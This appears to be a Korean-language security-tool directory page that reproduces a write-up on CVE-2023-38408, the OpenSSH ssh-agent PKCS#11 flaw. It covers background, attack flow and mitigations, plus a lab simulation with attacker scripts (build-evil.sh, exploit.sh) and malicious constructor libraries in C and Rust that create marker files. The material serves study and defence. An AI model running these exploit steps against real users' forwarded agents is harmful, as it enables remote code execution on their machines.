Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2023-38408 — 심각한 OpenSSH 취약점인 CVE 2023 38408에 대한 심층 분석으로, 기술적 배경, 통제된 환경에서의 악용, 그리고 완화 전략을 포함합니다. | Kitploit
도구/GitHubGitHub/adel2411/cve-2023-38408
Vulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationRed Teaming
GitHubadel2411/cve-2023-38408

cve-2023-38408

심각한 OpenSSH 취약점인 CVE 2023 38408에 대한 심층 분석으로, 기술적 배경, 통제된 환경에서의 악용, 그리고 완화 전략을 포함합니다.

저장소 보기
51년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-38408: 실제 SSH-Agent 취약점 이해 및 시뮬레이션

목차

  1. 소개
  2. 배경 개념
  3. CVE-2023-38408 취약점
  4. 실제 시뮬레이션 및 테스트
  5. 기술 분석
  6. 수정 및 완화
  7. 결론

1. 소개

보고서의 목적

이 보고서의 목적은 OpenSSH에서 발견된 심각한 실제 취약점인 CVE-2023-38408을 이론적 이해와 실제 시뮬레이션을 통해 분석하는 것입니다. 보고서는 취약점의 기술적 기반을 설명하고, 통제된 환경에서 이를 어떻게 악용할 수 있는지 보여주며, 구현된 완화 조치를 검토합니다.

실제 취약점 분석의 중요성

실제 보안 취약점을 실습 시뮬레이션을 통해 이해하는 것은 시스템을 보호하는 데 도움이 될 뿐만 아니라 개발자와 시스템 관리자의 잠재적 공격 벡터에 대한 인식을 강화합니다. 이러한 취약점 분석은 이론과 실제 보안 구현 사이의 간극을 메웁니다.

CVE-2023-38408이란 무엇이며 왜 중요한가

CVE-2023-38408은 PKCS#11 지원이 활성화된 OpenSSH의 ssh-agent에 영향을 미치는 취약점입니다. 사용자가 에이전트 포워딩이 활성화된 상태(ssh -A)로 손상된 서버에 연결할 경우 클라이언트 시스템에서 원격 코드 실행을 허용합니다. 이 취약점은 보안 인증을 위해 OpenSSH에 의존하는 모든 시스템에 심각한 영향을 미칩니다.


2. 배경 개념

2.1 SSH 개요

SSH(Secure Shell)는 안전하지 않은 네트워크에서 안전한 통신을 위해 사용되는 암호화 네트워크 프로토콜입니다. 원격 로그인, 명령 실행, 파일 전송 등을 위한 암호화된 채널을 제공합니다.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

root@kitploit:~
### 2.2 ssh-agent란 무엇인가

`ssh-agent`는 메모리에 복호화된 개인 SSH 키를 저장하는 백그라운드 프로세스로, 원격 시스템에 연결할 때마다 암호를 다시 입력하지 않고 키를 사용할 수 있게 해줍니다.

#### 에이전트 포워딩 (ssh -A)

에이전트 포워딩은 원격 시스템이 Unix 도메인 소켓을 통해 로컬 `ssh-agent`에 접근할 수 있게 해줍니다. 이는 SSH 연결을 체이닝하는 데 유용하지만, 원격 머신이 손상될 경우 심각한 보안 위험을 초래합니다.```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

기술적으로, ssh -A를 사용하면 SSH 클라이언트가 원격 서버에 유닉스 도메인 소켓을 설정합니다. 이 소켓은 로컬 ssh-agent에 대한 프록시 역할을 합니다. 환경 변수 SSH_AUTH_SOCK이 이 프록시 소켓을 가리키도록 설정됩니다. 원격 서버에서 SSH_AUTH_SOCK에 대한 모든 호출은 SSH 연결을 통해 다시 전달되어 로컬 ssh-agent에 의해 처리됩니다.

2.3 PKCS#11이란

PKCS#11은 스마트카드, YubiKey 또는 가상 하드웨어 보안 모듈(HSM)과 같은 암호화 토큰과 상호작용하기 위한 표준 API입니다.

ssh-agent가 PKCS#11을 지원하는 방법

OpenSSH의 ssh-agent는 ssh-add -s /path/to/provider.so 명령을 사용하여 PKCS#11 제공자(공유 .so 라이브러리)를 로드하는 것을 지원합니다. 이러한 라이브러리는 에이전트가 보안 하드웨어 또는 소프트웨어 모듈과 상호작용하여 개인 키를 직접 노출하지 않고 사용할 수 있게 합니다.

내부적으로 ssh-add -s가 호출되면 다음을 수행합니다:

  • .so 파일은 dlopen()을 사용하여 메모리에 동적으로 로드됩니다.
  • 에이전트는 PKCS#11 API를 통해 C_Initialize(), C_GetSlotList(), C_FindObjects(), C_Sign()과 같은 함수를 확인하고 호출합니다.
  • 제공자는 메타데이터를 반환하고 인증 챌린지 서명 요청을 처리하여 개인 키 자료를 하드웨어 토큰 내에 안전하게 유지합니다.

3. CVE-2023-38408 취약점

3.1 CVE 요약

3.2 취약점 메커니즘

이 취약점은 ssh-agent가 ssh-add -s를 통해 제공된 모든 공유 오브젝트 파일(.so)을 적법한 PKCS#11 제공자인지 검증하지 않고 로드하는 데서 비롯됩니다.```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

root@kitploit:~
### 3.3 공격 흐름 분석```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

가장 낮은 수준에서 이벤트 순서는 다음과 같습니다:

  1. 원격 시스템이 포워딩된 에이전트에 ssh-add -s /path/to/lib.so 요청을 보냅니다.
  2. 로컬 ssh-agent가 이 요청을 수신하고 맹목적으로 dlopen("/path/to/lib.so", RTLD_NOW)를 호출합니다.
  3. .so 파일에 생성자 함수(__attribute__((constructor)))가 있으면 로드 즉시 실행됩니다.
  4. 이 생성자에는 클라이언트 시스템에서 실행되는 임의의 악성 코드가 포함될 수 있습니다.

3.4 실제 공격 시나리오


4. 실습 시뮬레이션 및 테스트

4.1 시뮬레이션 환경 설정

통제된 환경에서 이 취약점을 시연하기 위해 여러 사용자 계정과 터미널을 사용한 포괄적인 시뮬레이션이 수행되었습니다.

환경 구성

사용자 계정 생성```bash

As main user

sudo adduser victim sudo adduser attacker

root@kitploit:~
#### 에이전트 포워딩을 위한 SSH 키 설정```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 시뮬레이션 스크립트 및 구현

피해자 연결 스크립트 (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

root@kitploit:~
#### 공격자의 페이로드 빌더 (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

공격 스크립트 (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

root@kitploit:~
### 4.3 시뮬레이션 결과 및 분석

#### 취약 시스템에서 예상되는 동작

| **작업**                | **취약 시스템 응답**      | **패치된 시스템 응답** |
| ------------------------- | ----------------------------------- | --------------------------- |
| `ssh-add -s malicious.so` | 라이브러리가 로드되고 생성자가 실행됨 | `agent refused operation`   |
| 페이로드 실행         | `/tmp/exploit.log` 생성          | 실행되지 않음                |
| 시스템 영향             | 원격 코드 실행               | 영향 없음                   |

#### 실제 시뮬레이션 출력

패치된 시스템(OpenSSH 9.3p2+)에서 시뮬레이션을 실행할 경우:```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

핵심 관찰: 패치된 버전에서는 에이전트가 작업을 거부하지만, 이 시뮬레이션은 공격 벡터를 보여주며 이전 버전에서의 취약점 영향을 이해하는 데 도움을 줍니다.

4.4 페이로드 구성 분석

C 기반 악성 라이브러리```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

root@kitploit:~
#### Rust 기반 대안

`ctor` 크레이트를 생성자 함수에 사용:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. 기술 분석

5.1 근본 원인 분석

취약점은 OpenSSH의 ssh-agent 구현체에 포함된 여러 설계 결정으로 인해 존재합니다:

5.2 메모리 및 프로세스 분석```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

root@kitploit:~
### 5.3 공격 표면 매핑

| **Attack Vector** | **요구 사항**                   | **영향 수준** | **탐지 난이도** |
| ----------------- | ------------------------------- | ------------- | --------------- |
| Agent Forwarding  | `ssh -A` enabled                | 치명적        | 낮음            |
| 악성 .so 파일     | 파일 시스템 접근                | 치명적        | 중간            |
| 사회 공학         | 사용자 상호작용                 | 높음          | 높음            |
| 공급망            | 손상된 PKCS#11 제공자           | 치명적        | 매우 높음       |

---

## 6. 수정 및 완화

### 6.1 OpenSSH 9.3p2에서의 수정 방법

OpenSSH 9.3p2는 안전한 기본 동작을 도입하여 이 취약점을 해결했습니다:

| **보안 조치**   | **구현**                                    | **효과**                    |
| --------------- | ------------------------------------------- | --------------------------- |
| 기본 비활성화   | 기본적으로 PKCS#11 지원 비활성화             | 공격 표면 감소              |
| 명시적 활성화   | `-O allow-pkcs11` 플래그 필요                | 사용자 동의 필요            |
| 검증            | 향상된 라이브러리 검증                       | 임의 코드 실행 방지         |

#### 설정 변경 사항```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 구현 분석```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

root@kitploit:~
### 6.3 포괄적 완화 전략

#### 즉각적 조치

| **우선순위** | **조치**               | **구현**                                        |
| ------------ | ------------------------ | --------------------------------------------------------- |
| 높음         | OpenSSH 업그레이드          | `apt update && apt upgrade openssh-client openssh-server` |
| 높음         | 에이전트 포워딩 비활성화 | `ssh -o ForwardAgent=no`                                  |
| 중간       | SSH 구성 감사 | Review `/etc/ssh/ssh_config`                              |
| 중간       | 에이전트 사용 모니터링      | Log ssh-agent activities                                  |

#### 장기 보안 조치

1. **SSH 구성 강화**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes
  1. 네트워크 분할 ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

    Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

    root@kitploit:~
  2. 모니터링 및 탐지 ```bash

    Monitor ssh-agent processes

    ps aux | grep ssh-agent

    Check for unusual .so loads

    lsof -p $(pgrep ssh-agent) | grep '.so$'

    Monitor SSH_AUTH_SOCK usage

    auditctl -w /tmp -p w -k ssh_agent_monitor

    root@kitploit:~

6.4 모범 사례 구현

조직 보안 정책


7. 결론

7.1 주요 발견 사항

CVE-2023-38408은 SSH 클라이언트와 에이전트 간의 신뢰 관계를 악용한 심각한 보안 결함을 보여줍니다. 실제 시뮬레이션을 통해 몇 가지 주요 통찰이 도출됩니다:

  1. 신뢰 경계 위반: 이 취약점은 포워딩된 에이전트 연결에 대한 암묵적 신뢰를 악용했습니다.
  2. 생성자 남용: 공유 라이브러리 생성자를 통한 악성 코드 실행이 모든 보안 통제를 우회했습니다.
  3. 기본값의 불안전성: PKCS#11 지원이 기본적으로 활성화되어 불필요한 공격 표면을 만들었습니다.
  4. 에이전트 포워딩 위험: 에이전트 포워딩의 편의성은 심각한 보안 영향을 초래했습니다.

7.2 영향 평가

7.3 교훈

실제 시뮬레이션으로 강화된 이 취약점 분석은 다음과 같은 몇 가지 중요한 교훈을 제공합니다:

  1. 안전한 기본값: 보안 기능은 기본적으로 비활성화되어야 하며 명시적 활성화가 필요합니다.
  2. 입력 검증: 라이브러리 파일을 포함한 모든 외부 입력은 엄격히 검증되어야 합니다.
  3. 최소 권한 원칙: 에이전트 포워딩은 신뢰할 수 있는 환경으로만 제한되어야 합니다.
  4. 심층 방어: 여러 보안 계층이 단일 실패 지점을 방지합니다.

7.4 향후 고려 사항```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

root@kitploit:~
### 7.5 최종 권장사항

종합적인 분석 및 시뮬레이션 결과를 바탕으로:

1. **즉시**: 모든 OpenSSH 설치를 버전 9.3p2 이상으로 업그레이드
2. **단기**: 엄격한 에이전트 포워딩 정책 및 모니터링 구현
3. **장기**: 제로 트러스트 네트워크 아키텍처 및 인증서 기반 인증 채택
4. **지속**: 지속적인 보안 교육 및 취약점 평가 프로그램 유지

**핵심 요점**: CVE-2023-38408은 에이전트 포워딩과 같은 편의 기능이 제대로 구현되지 않을 때 중요한 보안 취약점이 될 수 있다는 강력한 상기 역할을 합니다. 이론적 이해와 실제 시뮬레이션의 조합은 미래의 유사한 공격에 대한 강력한 방어 기반을 제공합니다.

이 포괄적인 분석을 통해 보안 전문가는 SSH 구성 요소 간의 복잡한 관계를 더 잘 이해하고 유사한 취약점으로부터 인프라를 보호하기 위한 적절한 보호 조치를 구현할 수 있습니다.
도구 다운로드
CVE 세부 정보정보
CVE IDCVE-2023-38408
CVSS 점수9.8 (심각)
영향을 받는 버전OpenSSH < 9.3p2
공격 벡터네트워크
필요한 권한없음
사용자 상호작용필요함
영향전체 시스템 손상
PKCS#11 함수목적위험 수준
C_Initialize()라이브러리 초기화낮음
C_GetSlotList()사용 가능한 슬롯 나열낮음
C_FindObjects()암호화 객체 찾기중간
C_Sign()데이터 서명높음
dlopen()공유 라이브러리 로드심각
속성세부 정보
IDCVE-2023-38408
심각도높음 (CVSS 9.8)
공개 일정2023년 7월 공개, OpenSSH 9.3p2에서 수정됨
영향을 받는 소프트웨어PKCS#11 지원이 포함된 OpenSSH 9.3p2 이전 버전
공격 복잡성낮음
공격 벡터SSH 에이전트 포워딩을 통한 네트워크
단계작업영향
1사용자가 ssh -A user@attacker-host 실행에이전트 포워딩 활성화
2공격자가 malicious.so 준비페이로드 준비 완료
3공격자가 ssh-add -s /tmp/malicious.so 실행피해자 에이전트에 요청 전송
4에이전트가 악성 라이브러리 로드생성자 실행
5악성 코드 실행원격 코드 실행 성공
구성 요소설정목적
터미널 1victim 사용자SSH 클라이언트 (대상)
터미널 2attacker 사용자SSH 서버 (공격자)
SSH 키RSA 2048비트비밀번호 없는 인증
테스트 파일다양한 셸 스크립트자동화 및 페이로드 전달
설계 문제설명영향
제한 없는 dlopen().so 파일에 대한 검증 없음임의 코드 실행 허용
생성자 실행PKCS#11 검증 전에 코드 실행즉각적인 손상
에이전트 포워딩 신뢰전달된 요청에 대한 인증 부재원격 익스플로잇 가능
기본 PKCS#11 지원기본적으로 활성화된 기능공격 표면 확대
정책 영역요구 사항검증 방법
SSH 에이전트 사용문서화된 승인 필요정책 준수 감사
에이전트 포워딩신뢰할 수 없는 호스트로 금지네트워크 모니터링
PKCS#11 라이브러리승인된 제공자 화이트리스트파일 무결성 모니터링
버전 관리OpenSSH 9.3p2+ 필수자동 취약점 스캐닝
영향 범주심각도설명
기밀성치명적사용자의 암호화 자료에 대한 완전한 접근
무결성치명적시스템 파일 및 구성 변경 가능
가용성높음시스템 중단 또는 서비스 거부 가능성
인증치명적SSH 인증 메커니즘 손상